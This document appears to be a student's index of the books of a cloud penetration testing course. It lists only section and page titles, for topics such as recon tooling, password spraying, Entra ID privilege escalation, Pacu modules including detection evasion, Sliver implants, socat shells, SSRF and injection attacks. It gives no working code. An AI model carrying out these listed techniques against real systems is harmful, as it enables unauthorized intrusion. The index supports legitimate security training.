**GPEN – Index**

**Book 1 🡪 🡪 🡪 🡪 🡪 588.1**

**Architecture, Discovery and Recon at scale –------- Page 6**

* 1. Course Introduction –-------------------------------------------------- Page 7.
  2. Why Cloud Penetration Testing –------------------------------------- Page 8.
  3. Unique Properties of Cloud Computing –--------------------------- Page 10.
  4. Defining Cloud –--------------------------------------------------------- Page 11.
     1. Self-Service Capability
     2. Broad Network Access
     3. Resource Pooling
     4. Rapidly Elastic
     5. Measured Service
  5. Generic Cloud Architectures –----------------------------------------- Page 12
  6. Control Plane vs. Data Plane –----------------------------------------- Page 13
  7. Cloud Similarities and Differences –---------------------------------- Page 14

**The Testing Process**

* 1. Scoping and Engagement Methodology –-------------------------- Page 16
     1. Purely cloud-based
     2. Non – cloud focused test
     3. Cloud test
     4. External to Internal Test
  2. Cloud Penetration Testing Scenarios –------------------------------ Page 17
     1. Perimeter Breach Assessment
     2. Exposed Keys, Insider Threat, or Accidental Exposure:
     3. Assumed Breach Scenario
     4. Assumed Container Breach
     5. Attack Surface Discovery
  3. MITRE ATT&CK Matrices: Enterprise –----------------------------------- Page 18.
  4. MITRE ATT&CK® Cloud Matrix –(is a framework with techniques) –-Page19.
  5. SANS Traditional Penetration Testing Methodology –---------------- Page 20.
     1. Reconnaissance
     2. Scanning, Enumeration, or Mapping
     3. Discovery, Vulnerability Discovery, or Service Discovery
     4. Exploitation in the cloud
  6. SANS Cloud Penetration Testing Methodology –--------------------- Page 21.
     1. Reconnaissance / Date Collection –-------------------------- Page 21
     2. Data Analysis –---------------------------------------------------- Page 21
     3. Scanning/ Mapping –--------------------------------------------- Page 21
     4. Vulnerability/Discovery –---------------------------------------- Page 21
     5. Exploitation/Elevation –------------------------------------------ Page 21
     6. Post Exploit Reconnaissance –--------------------------------- Page 22.
     7. Persistence/Pivot –----------------------------------------------- Page 22
     8. Lessons Learned –------------------------------------------------ Page 22

**Testing and Limits**

* 1. Terms of Service and Demarcation Points –---------------------- Page 24.
  2. Shared Responsibility and Pen Testing –-------------------------- Page 25.
  3. Types of Clouds –------------------------------------------------------ Page 26.
     1. Software as a Service
     2. Platform as a Service
     3. Infrastructure as a Service:
  4. Attacking Software as a Service –---------------------------------- Page 27
  5. Attacking Platform as a Service –----------------------------------- Page 28.
  6. The Attacker’s View of IaaS –---------------------------------------- Page 29.
     1. Compute
     2. Storage
     3. Networking
  7. Testing Policies of Public Cloud Service Providers –--------------Page 30.
  8. Access Cloud Service Providers – Amazon ------------------------ Page 31.
  9. AWS Restrictions ------------------------------------------------------ Page 32.
  10. Azure Policies ----------------------------------------------------------- Page 33.
  11. Azure Terms of Service – Scope –------------------------------------ Page 34.
  12. Azure Policies – Rules and Permissions ---------------------------- Page 35.
  13. Azure Policies – Restrictions ----------------------------------------- Page 36.
  14. Google Cloud Testing -------------------------------------------------- Page 37.

**Recon at Cloud Scale**

* 1. Discovery ---------------------------------------------------------------- Page 39.
  2. What are the goals for this step in the methodology? ----------- Page 40.
  3. Building an Asset Collection Pipeline ------------------------------ Page 40.
  4. Asset Collection Pipeline Wire Diagram --------------------------- Page 41.
  5. How Can We Use This Data? ----------------------------------------- Page 42.
  6. Seed Values: Domains ------------------------------------------------ Page 43.
  7. Domains and Host Discovery ----------------------------------------Page 44.
     1. Using passive -------------------------------------------------- Page 44.
     2. Using active techniques ------------------------------------- Page 44.
  8. Datasources and APIs ------------------------------------------------ Page 45.
     1. Hunters.io ----------------------------------------------------- Page 45.
     2. Alienvault OTX ------------------------------------------------ Page 45.
     3. Crtsh ----------------------------------------------------------- Page 45.
     4. IntelX ----------------------------------------------------------- Page 45.
     5. Dehashed ----------------------------------------------------- Page 45.
  9. Passive Technique: Certificate Transparency ----------- Page 46.
  10. ACME and Let's Encrypt --------------------------------------------- Page 47.
  11. Certificate Transparency for Host Discovery --------------------- Page 48.
  12. Hosts through Certificates ------------------------------------------ Page 49.
  13. Hostnames and CNAMEs for Technology Discovery ----------- Page 50.
  14. DNS Hygiene Issues: Subdomain Hijacks ------------------------ Page 51.
  15. Example Subdomain Takeover ------------------------------------- Page 52.
  16. Leveraging Existing Patterns ---------------------------------------- Page 53.

**Host Discovery Tools-------------------------------------- Page 54.**

* 1. Domain Enumeration Tools ----------------------------------------- Page 55.
     1. Subfinder
     2. Dnsx
     3. Puredns
     4. amass
  2. Subfinder ------------------------------------------------------- Page 56.
  3. Running Subfinder -----------------------------------------------------Page 57.
  4. Subfinders Configuration File --------------------------------------- Page 58.
  5. DNSx --------------------------------------------------------------------- Page 59.
  6. Running DNSx ------------------------------------------------- Page 60.
  7. Intro: MassDNS ----------------------------------------------- Page 62.
  8. PureDNS ------------------------------------------------------- Page 63.
  9. PureDNS Usage ----------------------------------------------- Page 64.
  10. OWASP Amass ------------------------------------------------ Page 65.

Brute forcing, Reverse DNS, Zone Walking

* 1. ngrok HTTP Redirection ------------------------------------------------ Page 73
  2. ngrok Options --------------------------------------------------- Page 74
  3. How to Use ngrok----------------------------------------------- Page 75

**IP Addresses and Port Scans**

* 1. IP Addressing and Hosts ----------------------------------------------- Page 79.
  2. Mapping to Technologies ----------------------------------------------- Page80.
  3. Host Discovery Continued – IP Addresses ----------------- Page 81.
  4. Cloud Service Provider Mappings ------------------------------------ Page 82.
  5. Edge [tool to map IP] -------------------------------------------- Page 83
  6. Port Scanning at Web Scale ----------------------------------- Page 84.
  7. Masscan Default Syntax --------------------------------------- Page 85.
  8. Masscan Scanning Options ----------------------------------- Page 86.
  9. Masscan Testing Theoretical Limits --------------------------Page 87.
  10. Masscan TCP Connections vs. NMAP --------------------------------Page 88
  11. Masscan Workflow ----------------------------------------------Page 89.
  12. Masscan Followed Up by Nmap ---------------------------------------Page 90.
  13. Nmap Tour ----------------------------------------------------------Page 91.
  14. Nmap NSE -----------------------------------------------------------------Page 92.
  15. Masscan Nmap Workflow ------------------------------------- Page 93.
  16. Scancannon [Nmap+Massscan] ---------------------------------------Page 94.
  17. Naabu [Port Scanner] ------------------------------------------- Page 95.
  18. Scanning Best Practices ----------------------------------------Page 96.

**Wordlists and Default URLs**

* 1. Mapping URLs [Amazon] ------------------------------------- Page 101.
  2. Mapping Azure URLs ------------------------------------ Page 102 & 103 .
  3. Building Good Wordlists ------------------------------------- Page 104
  4. Commonspeak2 Queries ------------------------------------ Page 105
  5. Commonspeak2 Commands --------------------------------Page 106
  6. Commonspeak2 Example of Subdomain Query ------ Page 107
  7. wordlists.assetnote.io ------------------------------------- Page 108

**Vulnerability Scanning**

* 1. Vulnerabilities in Cloud Apps ---------------------------- Page 110
  2. Nuclei -------------------------------------------------------- Page 111.
  3. Running Nuclei ----------------------------------------------------- Page 112.
  4. Nuclei Templates ------------------------------------------ Page 113.
  5. Nuclei Advanced Usage ---------------------------------- Page114.
  6. Nuclei Advanced Examples -------------------------------------- Page 115.

**Visualizations During Recon**

* 1. Visualizations During Recon ------------------------------------- Page 118.
  2. Visualizing the Same Site -------------------------------- Page119.
  3. Gowitness ----------------------------------------------------------- Page 120
  4. Gowitness CLI --------------------------------------------- Page 121
  5. Gowitness Report ----------------------------------------- Page 122.

**Asset Discovery Frameworks**

* 1. Asset Discovery Frameworks --------------------------- Page126.
  2. reNgine ------------------------------------------------------Page 127.
  3. reNgine Tools ---------------------------------------------- Page 128.

**[Assetfinder, amass, Sublist3r, Naabu, Subfinder, Nuclei]**

* 1. Dashboard of Results ------------------------------------Page 129.

**Authentication and Key Material**

* 1. Authentication Types -------------------------------------Page 133
  2. Authentication Differences ----------------------------- Page 134.

**[AWS, Google, Azure providers]**

* 1. Authentication and Key Material: AWS ---------------Page 135.
  2. AWS Access Keys ---------------------------------------- Page 136.
  3. Login Endpoints: AWS ----------------------------------- Page 137.
  4. Authentication and Key Material: Azure -------------- Page 138.
  5. Azure Tools ------------------------------------------------ Page 139.
  6. Searching for Key Material ------------------------------ Page 140.
  7. Files/Secrets Format ------------------------------------- Page 141.
  8. Subset of Useful Strings to Search For ---------------- Page 143.
  9. .env Example ----------------------------------------------- Page 144.
  10. Where to Hunt for Keys ----------------------------------- Page 145.

**Section 2. Attacking Identity Systems**

**Authentication Standards**

1. Why Focus on Authentication Standards? ------------------------------Page 5.
2. Web Authentication Standards -----------------------------------------Page 6/7.
   1. Basic Authentication
   2. API Authentication (API Keys)
   3. Security Assertion Markup Language (SAML)-Based Authentication and Identity
   4. OAuth and OpenID Connect
   5. Web Authentication(WebAuthN)
3. Why Oauth? ---------------------------------------------------------------Page 8.
4. Oauth 2.0 Terminology (1) ----------------------------------------------Page 9
   1. Scope
   2. Authorization Grant
   3. Access Token
   4. Refresh Token
   5. OAuth 2.0 is the primary standard today ------- Page 10
   6. It extends the number of roles you have
      1. Resource Owner
      2. Authorization Server
      3. Resource Server
5. Flow Types --------------------------------------------------------------Page 11.
   1. Authorization Code
   2. Client Credentials
   3. Resource Owner Password Credentials
   4. Device Authorization Grant
6. OpenID Connect ------------------------------------------------------Page 12.
   1. ID Token
   2. UserInfo Endpoint
   3. Standardized Scopes
   4. Standardized Authorization Implementation
7. JSON Web Tokens (JWT) -------------------------------------------Page 13.
8. Attacker's View of JWT ---------------------------------------------Page 14.
   1. Symmetric Shared Key
   2. Asymmetric Certificates
9. Claims ----------------------------------------------------------------Page 15.
10. OpenID Connect Authorization Code Flow ------------------Page 16 & 17.
11. API Authentication ------------------------------------------------ Page 18
12. SAML -----------------------------------------------------------------Page 19
13. Identifying SAML ---------------------------------------------------Page 20
    1. Authentication Request Protocol:
    2. Assertion Query and Request Protocol:
    3. Artifact Resolution Protocol:
    4. Name Identifier Management Protocol:
    5. Single Logout Protocol
    6. Name Identifier Mapping Protocol
14. Example SAML Message ------------------------------------------Page 21.
15. Attacker’s View of SAML ------------------------------------------ Page 22.
16. SAML Workflows ----------------------------------------------------Page 23.
17. Web Authentication (WebAuthN) --------------------------------Page 24.
18. Passkeys --------------------------------------------------------------Page 25.

**Username Harvesting in the Cloud**

1. Identity Is the New Perimeter ------------------------------------ Page 27
2. Multiple Authentication Types ----------------------------------- Page 28
3. Strategizing Your Attack -------------------------------------------Page 29.
   1. Passwords
   2. Location policies:
   3. MFA
4. Username Harvesting in the Cloud ----------------------------Page 30.
5. IdPs Making Harvesting Easier ----------------------------------Page31.
6. Okta Example ------------------------------------------------------Page 32.
7. Entra ID Examples -------------------------------------------------Page 33.
8. Microsoft Authentication Endpoints ---------------------------Page 34.
9. AWS Cognito ------------------------------------------------------- Page 35.
10. AWS Cognito Username Harvesting --------------------------- Page 36.

**Username Harvesting Tools**

1. Username Structures ---------------------------------------------Page 38
2. Account Attack Methodology ----------------------------------- Page 39
   1. Credential Stuffing
   2. Password Spraying:
   3. MFA Identification
   4. Using a Capture Device
3. Harvesting Tools ------------------------------------------------- Page 40
4. CeWL and Custom Wordlists --------------------------------- Page 41
5. AAD-Internals ---------------------------------------------------- Page 42
6. TeamFiltration ---------------------------------------------------- Page 43
7. TeamFiltration Enumeration ----------------------------------- Page 44

**Passwords**

1. Passwords --------------------------------------------------------Page 47
2. Multiple Attack Methods for Passwords ---------------------Page 48
   1. Cryptographic and authentication key material:
   2. Attacking the live system:
   3. Copy hashes and crack them
   4. Machine-in-the-Middle:
3. Password Lists and Wordlists -----------------------------------Page 49
4. Password Attack Types and Methodology ---------------------Page 50
5. Mounting a Brute Force Attack ---------------------------------- Page 51
6. Mounting a Password Spraying Attack ------------------------- Page 52
7. Mounting a Credential Stuffing Attack --------------------------Page 53
8. Tips for Different Types of Attacks ------------------------------ Page 54
9. Password Attack Tools -------------------------------------------- Page 55
10. Smart Lockout and Shunning ------------------------------------Page 56
11. Amazon API Gateway ----------------------------------------------Page 57
12. Fireprox ---------------------------------------------------------------Page 58
13. Running Fireprox ----------------------------------------------------Page 59
14. Teamfiltration Password Spray -----------------------------------Page 61

**AWS IAM**

1. AWS Terminology and IAM --------------------------------------- Page 64
2. Amazon ARN ------------------------------------------------------- Page 65
3. How Cloud Resources are Referenced ----------------------- Page 67
4. Amazon IAM -------------------------------------------------------- Page 69
5. Amazon AWS Root User ------------------------------------------ Page 70
6. IAM Defaults [deny model] --------------------------------------- Page 71
7. Identity Types on AWS ---------------------------------------------Page 72
   1. Identity Policies
   2. Resource Policies
   3. IAM Permission Boundaries
   4. Service Control Policies
   5. Access Control List
   6. Session Policy
8. AWS Policy Evaluation Logic ------------------------------------- Page 73
   1. Implicit Deny
   2. Organization SCP
   3. Resource-based policies
   4. Identity-based policies
   5. IAM permission boundaries
   6. Session Policies
9. IAM Policy Example -------------------------------------------------Page 74
10. AWS IAM Visualized ------------------------------------------------ Page 75
    1. Permissions can be placed in many locations in IAM.
    2. It is an explicit allow model.
    3. Services and users can have permissions.
    4. Some roles can have their own policy.
11. Identity vs. Resource Policies ------------------------------------ Page 76
12. Policy Boundaries ---------------------------------------------------Page 77
13. Policies for Services ------------------------------------------------ Page 78
14. Attribute-Based Access Control ----------------------------------Page 79
15. AssumeRole [run as] -----------------------------------------------Page 80

**Introduction to Microsoft Cloud Services**

1. Introduction to Microsoft Cloud Services ------------------ Page 82
2. Comparison of Service Names between Each Provider –- Page 83
3. On Premises, Azure, and AWS Role Comparisons –-–-–-–-Page 84
4. Microsoft Identity Services –-––-––-––-––-––-––-––-––-––-–Page 85
   1. Microsoft Active Directory (Microsoft AD)
   2. Microsoft Active Directory Federation Services [Microsoft ADFS]
   3. Entra ID (Formerly Azure Active Directory)
   4. Entra Domain Services
5. High-Level View of Identity in Microsoft –-–––-–––-–––-–– Page 86
   1. Communication Protocol
   2. Authentication Protocol
   3. Global Structure
   4. Organization Structure
   5. Access Control Mechanisms
6. Microsoft Traditional Active Directory –-–––-–––-–––-––- Page 87
7. Microsoft Active Directory Federation Services ––-––-–- Page 88
8. Entra ID –-–––-–––-–––-–––-–––-–––-–––-–––-–––-–––-–––- Page 89
9. Entra Domain Services –-–––-––––-–––-––––-–––-––––-–– Page 90

**Entra ID**

1. The Hacker's Guide to Entra ID –-–––-–––-–––-–––-–––-– Page 92
2. Hybrid Options –-–––-–––-–––-–––-–––-–––-–––-–––-–––-- Page 93
   1. Password Hash Synchronization
   2. Passthru Authentication
   3. Federated Access
3. Different Types of Hybrid Authentications ––-–––-–––-– Page 94
4. Hybrid Caveats ––-––––-––––-––––-––––-––––-––––-–––– Page 95
5. Entra ID Roles ––-––––-––––-––––-––––-––––-––––-––––- Page 96
   1. Classic Subscription Administrator Roles
   2. Azure RBAC
   3. Entra ID Admin Roles
6. Entra Domain Services ––-––––-––––-––––-––––-––––-– Page 97
7. Attacker’s View of Identity Services in Azure ––––-–––– Page 98
   1. Domain Controller
   2. ADFS Servers
   3. Entra ID
   4. Entra Domain Service
8. Azure RBAC Roles ––-––––-––––––-––––-––––––-––––-–– Page 99
   1. Owners
   2. Contributor
   3. Reader
   4. User Access Adminidtrator
9. Azure Scopes and Entra ID ––-––––-––-––––-––-––––--- Page 100
10. Entra ID Administrator Roles ––-––––-––-––––-––-––––- Page 101
    1. Global Administrator
    2. User Administrator
    3. Billing Administrator
11. Entra ID Scope and Inheritance ––-––––––-––––––-––– Page 102
12. Entra ID Roles Viewed ––-–––-–––-–––-–––-–––-–––-–––Page 103
    1. Entra ID admins
    2. Azure RBAC
    3. Classic Subscription
13. Azure RBAC vs. Entra ID Admins vs. Cross Platform Admins – **Page 104**
    1. Azure RBAC Roles
    2. Entra ID Administrator Roles
14. Entra ID Privilege Escalation ––-–––-–––-–––-–––-–––-– Page 105

**App Consent and Microsoft Graph**

1. Entra ID and Applications ––-–––-–––-–––-–––-–––-–––-Page 107
2. Entra ID Permissions ––-–––-–––-–––-–––-–––-–––-–––-–Page 108
3. Consent and Permissions ––-–––-–––-––––-–––-–––-––- Page 109
   1. User Consent
   2. Application consent
4. Microsoft Graph Introduction ––-–––––-–––––-–––––-––Page110
5. Microsoft Graph Constraints ––-–––––––-–––––––-–––– Page 111
   1. All
   2. Shared
   3. AppFolder
   4. NoConstraints
6. Postman and Microsoft GRAPH ––-–––-–––-–––-–––-––Page 112
7. Microsoft Graph Permission Example ––-–––-––-–––---Page 113
8. Using the Graph API for Search ––-–––––-–––––-–––––- Page 114
9. Mounting an Attack: Setup ––-–––-–––-–––-–––-–––-–-- Page 115
10. Register an App ––-–––-––-–––-––-–––-––-–––-––-–––-–– Page 117
11. O365-Attack-Toolkit ––-–––-–––-–––-–––-–––-–––-–––-– Page 118

**Open File Shares**

1. File Storage Environments in the Cloud ––-––––-––––-– Page 121
2. Authenticated Access vs. Authorized Access –- **Page 122**
   1. Authentication Access
   2. Authorized Access
   3. Public Access
3. Common Resource Policy Issues -––––-––––-–––Page 123
   1. Amazon S3
   2. Amazon Elastic Container Registry
4. Scenario: Public Access ––-––––-––––-––––-––––-Page 125
5. Scenario: Authenticated Access –-––––-–––-––––Page 126
6. Scenario: Authorized Access –-––––-––––-––––-– Page 127
7. Looking for Unauthenticated File Shares –––-––– Page 128
8. AWS S3 Bucket Hunting -––––-––––-––––-––––-–– Page 129
   1. GoBuster
   2. CloudStorageFinder
9. Azure Files and Azure Blobs -––––-––-––––-––-––– Page 130
10. Tools to Enumerate Azure Blobs ––-––––-––––-––- Page 131
    1. cloud\_enum

**CLI Tools**

1. Why Learn the CLI Tools? ––-––––-––––-––––-–– Page 134
2. AWS CLI ––-–––––-–––––-–––––-–––––-–––––-––– Page 135
3. AWS Authentication ––––-–––––––-–––––––-–––- Page 136
4. AWS CLI Options ––––-–––––-–––––-–––––-––––– Page 137
5. Working with AWS Services ––––-–––––––-––––– Page 138
6. Handling Output ––––-––––-––––-––––-––––-–––- Page 139
7. Azure CLI ––––-–––––-–––––-–––––-–––––-–––––- Page 140
8. Azure Login Options –-–––––-–––––-–-–––––-––– Page 141

**Filtering Output**

1. JMESPath Queries –-–––––-––-–––––-––-–––––-– Page 144
2. Parsing JSON Output in CLI –-–––––-––-–––––-– Page 145
3. Combining AWS and JQ –-–––––-–––––-–––––-–-Page 146

**Section 3. – Attacking and Abusing Cloud Services**

**Internal Enumerations Tools**

1. Internal Enumerations –-–––––-–-–––––-–-–––––-–-–––––-–-–––––- Page 5
2. ScoutSuite –-–––––-––-–––––-––-–––––-––-–––––-––-–––––-––-–––Page 6
3. Running ScoutSuite –-–––––-–––-–––––-–––-–––––-–––-–––––-–––-Page 7
4. ScoutSuite Reports –-–––––-–––-–––––-–––-–––––-–––-–––––-–––-–Page 8
5. CloudFox –-–––––-–-–––––-–-–––––-–-–––––-–-–––––-–-–––––-–-––Page 9
6. Running CloudFox –-–––––-–––––-–––––-–––––-–––––-–––––-––––-Page 10
7. CloudFox Output –-–––––-––-–––––-––-–––––-––-–––––-––-–––––-–Page 11
8. CloudFox Loot –-––––––-––––––-––––––-––––––-––––––-––––––-––Page 12

**IAM and Privilege Escalation**

1. IAM and Privilege Escalation Issues –-–––––––-–––––––-–––––––-––Page 16
2. Classic Priv Esc vs. Cloud Priv Esc –-––––––-––––––-––––––-––––––Page 17
   1. UID 0
   2. Jailbreaks
   3. Access to priv X in lambda and priv Y in EC2
3. IAM and User Versioning (1) V1 –-––––––-––-––––––-––-––––––-––-Page 18
4. IAM and User Versioning (2) V2 –-––––––-––-––––––-––-––––––-––- Page 19
5. IAM and User Versioning (3) V3 –-––––––-––-––––––-––-––––––-––- Page 20
6. IAM: Passrole –-–––––-–––––-–––––-–––––-–––––-–––––-–––––-–––– Page 21

**AWS Compute**

1. AWS Compute –-––––-––––-––––-––––-––––-––––-––––-––––-––––-–Page 22
   1. Elastic Computer Cloud
   2. Lighsail
   3. Elastic Beanstalk
   4. Elastic Block Storage
2. EC2 Properties –-––––-––-––––-––-––––-––-––––-––-––––-––-––––-– Page 23
3. AWS Instance Metadata Service –-––––-––––-––––-––––-––––-––––-- Page 25
4. AWS Session Tokens –-––––-––––-––––-––––-––––-––––-––––-––––- Page 26
   1. Access ID
   2. Access Secret Token
   3. Access Session Token
5. AWS Metadata Session Tokens v2 –-––––-––––-––––-––––-––––-––– Page 27
6. Attacker Paths Utilizing EC2 –-–––-–––-–––-–––-–––-–––-–––-–––-––Page 28

**Compute Attack Scenarios**

1. Compute Attack Scenarios –-–––-––-–––-––-–––-––-–––-––-–––-––-––Page 30
   1. • ec2:CreateKeyPair
   2. • ec2:RunInstances
   3. • ec2:AssociateInstanceProfile
2. Routing t hrough Compute –-–––-–––-–––-–––-–––-–––-–––-–––-–– Page 31
3. EC2 Callback –-–––-–––-–––-–––-–––-–––-–––-–––-–––-–––-–––-––Page 32
4. Lambda as a Vector –-––-––-––-––-––-––-––-––-––-––-––-––-––-––-Page 34
5. EC2 Userdata –-––-––-––-––-––-––-––-––-––-––-––-––-––-––-––-–– Page 35
6. EC2 Userdata Workflow –-––-––-––-––-––-––-––-––-––-––-––-––-– Page 36

**Pacu**

1. Introduction to Pacu –-–––-–––-–––-–––-–––-–––-–––-–––-–––-–––-Page 39
2. Pacu Interface –-––––-––––-––––-––––-––––-––––-––––-––––-–––– Page 40
3. Pacu Module Dependency and Permission Dependency –––––––––– Page 41
4. Pacu Recon Modules: Unauthenticated ––––––––––––––––––––––– Page 42
5. Pacu Enumeration Modules –––––––––––––––––––––––––––––––– Page 43
   1. iam\_bruteforce\_permissions
   2. ec2\_\_enum, lambda\_\_enum, codebuild\_\_enum
6. Pacu Escalate + Lateral Move ––––––––––––––––––––––––––––––Page 44
   1. iam\_privesc\_scan
   2. cloudtrail\_\_csv\_injection
   3. vpc\_enum\_lateral\_movement
7. Pacu Exploits –––––––––––––––––––––––––––––––––––––––––– Page 45
8. Pacu Evasions ––––––––––––––––––––––––––––––––––––––––––Page 46
   1. guardduty\_\_whitelist\_ip
   2. detection\_\_disruption

**Socat and Shells**

1. Intro to Callbacks and Shells –––––––––––––––––––––––––––––––Page 48
2. Introduction to Socat ––––––––––––––––––––––––––––––––––––– Page 49
3. SOCAT Address Format –––––––––––––––––––––––––––––––––– Page 50
4. Socat Examples ––––––––––––––––––––––––––––––––––––––––– Page 51
5. Redirections or Other Pivots ––––––––––––––––––––––––––––––– Page 53
6. Using Port Proxies with Built-in Tools ––––––––––––––––––––––– Page 54
7. IPTABLES as a Redirection Tool ––––––––––––––––––––––––––– Page 55
8. Windows Portproxy –––––––––––––––––––––––––––––––––––––– Page 56

**Sliver**

1. Sliver –––––––––––––––––––––––––––––––––––––––––––––––– Page 58
   1. sliver-server
   2. silver
2. Implant Creation ––––––––––––––––––––––––––––––––––––––– Page 59
3. Interacting with Implants –––––––––––––––––––––––––––––––––Page 60
4. Sliver Post-Exploitation ––––––––––––––––––––––––––––––––––Page 61
5. Using SOCKS5 in Operations –––––––––––––––––––––––––––Page 62
6. ProxyChains –––––––––––––––––––––––––––––––––––––––––Page 63

**AWS KMS**

1. Amazon KMS ––––––––––––––––––––––––––––––––––––––––Page 65
2. Amazon KMS Use Cases ––––––––––––––––––––––––––––––– Page 66
3. KMS Encrypt/Decrypt Behavior ––––––––––––––––––––––––––Page 67

**Confused Deputy**

1. AWS Confused Deputy –––––––––––––––––––––––––––––––– Page 70
2. How to Confuse a Deputy? ––––––––––––––––––––––––––––– Page 71
3. AssumeRole –––––––––––––––––––––––––––––––––––––––––Page 72
4. AssumeRole with Confused Deputy –––––––––––––––––––––– Page 74

**Azure VMs**

1. Azure Compute –––––––––––––––––––––––––––––––––––––––Page 78
2. Azure Virtual Machines: Backdooring Systems ––––––––––––––Page 79
3. Another Compute Attack Scenario ––––––––––––––––––––––––Page 80
4. Working with Disks in Azure –––––––––––––––––––––––––––– Page 81
5. Azure Storage Explorer –––––––––––––––––––––––––––––––––Page 82

**Code Execution on Azure**

1. Code Execution on Windows ––––––––––––––––––––––––––––Page 85
2. Custom Script Extension ––––––––––––––––––––––––––––––– Page 86
3. Executing Commands through Run-Command ––––––––––––––Page 87
4. Run-Command Caveats ––––––––––––––––––––––––––––––––Page 88
5. Hybrid Workers ––––––––––––––––––––––––––––––––––––––Page 89
6. Hybrid Workers: Watchers ––––––––––––––––––––––––––––– Page 90
7. WinRM –––––––––––––––––––––––––––––––––––––––––––– Page 91

**Section 4: Vulnerabilities in Cloud – Native Applications**

1. Introduction to Cloud-Native Attacks –––––––––––––––––––– Page 4
2. Cloud-Native Applications –––––––––––––––––––––––––––––Page 6
   1. Cloud Native Computing Foundation (CNCF)
   2. Container Managed:
   3. Continuously Integrated/Continuously Deployed
   4. Continuously Tested
   5. Microservices Oriented
   6. Measurable or Observable
3. Cloud-Native Application Architectures ––––––––––––––– Page 7
4. CNCF Trail Map ––––––––––––––––––––––––––––––––––Page 8
5. How Applications Talk: Classic –––––––––––––––––––––– Page 9
6. How Cloud Applications Talk: Cloud Native ––––––––––––Page 10

**Mapping Applications**

1. Mapping Visualized ––––––––––––––––––––––––––––––– Page 12
2. Application Mapping vs. Infrastructure Mapping –––––––– Page 13
3. HTTP Request Review: HTML –––––––––––––––––––––– Page 14
4. HTTP Request Review: JSON ––––––––––––––––––––––– Page 15
5. Client-Side Mappings –––––––––––––––––––––––––––––– Page 16

**Infrastructure as Code**

1. Infrastructure as Code –––––––––––––––––––––––––––––– Page 18
2. Terraform –––––––––––––––––––––––––––––––––––––––– Page 19
3. Attacking Terraform –––––––––––––––––––––––––––––––– Page 20
4. Terraform State File –––––––––––––––––––––––––––––––––Page 21

**Development Pipeline and Attacks**

1. Development Pipeline and Attacks –––––––––––––––––––– Page 24
2. Git ––––––––––––––––––––––––––––––––––––––––––––––Page 25
3. Deployment Pipelines –––––––––––––––––––––––––––––––Page 26
4. Gitops ––––––––––––––––––––––––––––––––––––––––––– Page 27
5. Nobelium Case Study –––––––––––––––––––––––––––––––Page 28
6. Build Systems ––––––––––––––––––––––––––––––––––––– Page 29
7. Detecting CI/CD Tools –––––––––––––––––––––––––––––– Page 30
8. Attacking CI/CD ––––––––––––––––––––––––––––––––––– Page 31
9. Travis Example –––––––––––––––––––––––––––––––––––– Page 32
10. Travis Configuration Files ––––––––––––––––––––––––––––Page 33
11. Using Travis to Move Laterally ––––––––––––––––––––––––Page 34
12. Tips on Output ––––––––––––––––––––––––––––––––––––– Page 35
13. Several Use Cases –––––––––––––––––––––––––––––––––––Page 36
14. Example Scripts –––––––––––––––––––––––––––––––––––– Page 37

**Web Application Injections**

1. Web Application Injections ––––––––––––––––––––––––––– Page 40
2. Injections ––––––––––––––––––––––––––––––––––––––––– Page 41

**Server-Side Request Forgery (SSRF)**

1. Server-Side Request Forgeries ––––––––––––––––––––––––– Page 42
2. Why Are SSRFs Popular Again? ––––––––––––––––––––––– Page 44
3. SSRF Discovery –––––––––––––––––––––––––––––––––––– Page 45
4. SSRF Implications –––––––––––––––––––––––––––––––––– Page 46
5. Metadata v2 Token Protections –––––––––––––––––––––––– Page 47
6. Are SSRFs Solved in the Cloud? ––––––––––––––––––––––– Page 48
7. SSRFs in the Wild –––––––––––––––––––––––––––––––––– Page 49

**Command-Line Injection in Application**

1. Command-Line Execution in a Web Application ––––––––––Page 52
2. Command-Line Execution Example ––––––––––––––––––––Page 53
3. Exploiting Command Injection ––––––––––––––––––––––––Page 54
4. Command Injection Primitives ––––––––––––––––––––––––Page 55
5. Command Injection and Cloud Native ––––––––––––––––––Page 56
6. Finding Command Injection ––––––––––––––––––––––––––Page 57
7. Command-Line Injection vs. RCE –––––––––––––––––––––Page 58
8. SSJI ––––––––––––––––––––––––––––––––––––––––––––- Page 59

**Serverless Function Attacks**

1. Serverless Function Attacks –––––––––––––––––––––––––-Page 62
2. AWS Lambda –––––––––––––––––––––––––––––––––––– Page 63
3. Aws Lambda Constraints ––––––––––––––––––––––––––––Page 64
4. NodeJS Lambda Example: JavaScript ––––––––––––––––––Page 65
5. Lambda Limitations ––––––––––––––––––––––––––––––––Page 66
6. Executing Lambda Functions Manually ––––––––––––––––-Page 67
7. Exploits in Lambda Software –––––––––––––––––––––––––Page 68
8. AWS Lambda Shells ––––––––––––––––––––––––––––––––Page 69
9. Azure Serverless ––––––––––––––––––––––––––––––––––– Page 71
10. Attacker's View of Windows Functions ––––––––––––––––– Page 72
11. Attacking Serverless Functions ––––––––––––––––––––––––Page 73

**Exposed Databases**

1. Exposed Databases ––––––––––––––––––––––––––––––––––Page 76
2. Discovering Exposed Services –––––––––––––––––––––––––Page 77
3. Databases in the Cloud –––––––––––––––––––––––––––––––Page 78
4. Paid Extras: Redis Labs –––––––––––––––––––––––––––––– Page 79
5. A Word on SQL Injection vs. NoSQL Injection ––––––––––– Page 80
6. Connecting to Cloud Databases ––––––––––––––––––––––––Page 81
7. Exposed Databases: Why Does This Matter? (1) ––––––––Page 82
8. Exposed Databases: Why Does This Matter? (2) ––––––––Page 83
9. Impact of Exposing These Injections ––––––––––––––––– Page 84
10. SQL vs. MongoDB: A Primer –––––––––––––––––––––––Page 85
11. MongoDB Command Cheat Sheet –––––––––––––––––––-Page 87

**SQL Injections in a Hosted Environment**

1. SQL Injection in a Hosted Environment ––––––––––––––– Page 89
2. Amazon RDS and Aurora ––––––––––––––––––––––––––-Page 90
3. RDS Design ––––––––––––––––––––––––––––––––––––– Page 91
4. SQL Injection ––––––––––––––––––––––––––––––––––––Page 92
5. SQL Injection Workflow ––––––––––––––––––––––––––– Page 93
6. SQL Injection Visualized in NodeJS (1) ––––––––––––––– Page 94
7. SQL Injection Visualized in NodeJS (2) ––––––––––––––– Page 95
8. SQL Injection Visualized in NodeJS (3) ––––––––––––––– Page 96
9. SQL Injection Visualized in NodeJS (4) ––––––––––––––– Page 97
10. SQLmap.py ––––––––––––––––––––––––––––––––––––––Page 98
11. SQLmap and Cloud Applications –––––––––––––––––––––Page 99
12. Sqlmap Examples ––––––––––––––––––––––––––––––––– Page 100
13. SQL Injection Defenses –––––––––––––––––––––––––––– Page 101

**Section 5: Infrastructure Attacks and Red Teaming**

